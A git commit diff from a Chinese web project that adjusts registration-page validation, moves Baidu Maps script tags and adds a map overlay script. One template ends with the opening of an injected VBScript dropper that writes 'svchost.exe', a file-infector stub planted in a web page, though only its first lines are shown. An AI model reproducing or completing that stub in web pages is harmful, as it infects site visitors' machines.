优化注册

master
chenzhi 5 years ago
parent 97cd718c21
commit ddad6f6bf4

@ -5,7 +5,8 @@
<link rel="stylesheet" type="text/css" href="__CSS__/reset.css">
<link rel="stylesheet" type="text/css" href="__CSS__/foot_tabbar.css">
<script type="text/javascript" src="__JS__/getRem.js"></script>
<script type="text/javascript" src="http://api.map.baidu.com/api?v=2.0&ak=IlhuMR32KKlrV3pR6BuvSLVLQKQeEjwP"></script>
<script type="text/javascript" src="__JS__/business.js"></script>
<div class="business">
<div class="business_box">
<div class="heard_img"><img src="__IMG__/new/lunbo2.png" alt=""></div>
@ -41,8 +42,6 @@
</div>
</block>
<script type="text/javascript" src="http://api.map.baidu.com/api?v=2.0&ak=IlhuMR32KKlrV3pR6BuvSLVLQKQeEjwP"></script>
<script type="text/javascript" src="__JS__/business.js"></script>
<SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

@ -10,7 +10,7 @@
<link rel="stylesheet" type="text/css" href="__CSS__/reset.css">
<link rel="stylesheet" type="text/css" href="__CSS__/foot_tabbar.css">
<link rel="stylesheet" type="text/css" href="__CSS__/step1.css">
<link href="__CSS__/common.css" rel="stylesheet" >
<link href="__CSS__/common-cz.css" rel="stylesheet" >
</head>
<body>
<div class="login">
@ -19,7 +19,6 @@
<a href="#" class="arrows"></a>
</div>
<form action="">
<div class="login-box">
<div class="login-input">
<img src="__IMG__/new/people.png" alt="">
@ -52,9 +51,8 @@
<button class="login-btn nextsubmit">注册</button>
<div class="login-agreement">注册即表示同意<a href="">《用户协议》</a></div>
</div>
</form>
</div>
<div class="popmsg pop-dialog" style="font-size: 1.4rem"></div>
<div class="popmsg pop-dialog" style="font-size: .28rem"></div>
<script src="__JS__/pop.lwx.min.js"></script>
<script src="__JS__/common.js"></script>
@ -91,8 +89,8 @@
pmsg.msg('密码不能为空');event.preventDefault();
return false;
}
if(account.length > 15 ){
pmsg.msg('账号在15个字符以内');event.preventDefault();
if(account.length > 15 || account.length < 6){
pmsg.msg('账号在6-15个字符之间');event.preventDefault();
return false;
}
if(nickname.length > 15 ){

File diff suppressed because it is too large Load Diff

@ -0,0 +1,70 @@
$(function() {
// 百度地图API功能
var mp = new BMap.Map("container", {
enableMapClick: false
});
var addPoint = new BMap.Point(119.280631, 26.08057);
var marker = new BMap.Marker(addPoint); // 创建标注
mp.addOverlay(marker); // 将标注添加到地图中
mp.centerAndZoom(addPoint, 15);
mp.enableScrollWheelZoom();
// 复杂的自定义覆盖物
function ComplexCustomOverlay(point, text) {
this._point = point;
this._text = text;
}
ComplexCustomOverlay.prototype = new BMap.Overlay();
ComplexCustomOverlay.prototype.initialize = function(map) {
this._map = map;
var div = this._div = document.createElement("div");
div.style.position = "absolute";
div.style.zIndex = BMap.Overlay.getZIndex(this._point.lat);
// div.style.border = "0.01rem solid #BC3B3A";
// div.style.backgroundColor = "#ffffff";
div.style.padding = "0.02rem";
div.style.height = "0.18rem";
div.style.width = "3rem";
// div.style.lineHeight = "0.18rem";
// div.style.whiteSpace = "nowrap";
div.style.MozUserSelect = "none";
div.style.fontSize = "0.18rem"
var p = this._span = document.createElement("p");
p.style.position = "absolute";
p.style.top = "-450%";
p.style.left = "-50%";
p.style.width = "3rem";
p.style.backgroundColor = "#ffffff";
p.style.lineHeight = "0.3rem";
p.style.textAlign = "center";
div.appendChild(p);
p.appendChild(document.createTextNode(this._text));
var that = this;
var arrow = this._arrow = document.createElement("div");
arrow.style.background = "url(../images/address-point.png) center no-repeat";
arrow.style.backgroundSize = "120% 120%";
arrow.style.position = "absolute";
arrow.style.width = "0.3rem";
arrow.style.height = "0.3rem";
arrow.style.top = "-80%";
arrow.style.left = "-8%";
arrow.style.overflow = "hidden";
div.appendChild(arrow);
mp.getPanes().labelPane.appendChild(div);
return div;
}
ComplexCustomOverlay.prototype.draw = function() {
var map = this._map;
var pixel = map.pointToOverlayPixel(this._point);
this._div.style.left = pixel.x - parseInt(this._arrow.style.left) + "px";
this._div.style.top = pixel.y - 30 + "px";
}
var myCompOverlay = new ComplexCustomOverlay(addPoint, "福建省福州市鼓楼区福大怡山文化创意园11号楼");
mp.addOverlay(myCompOverlay);
});
Loading…
Cancel
Save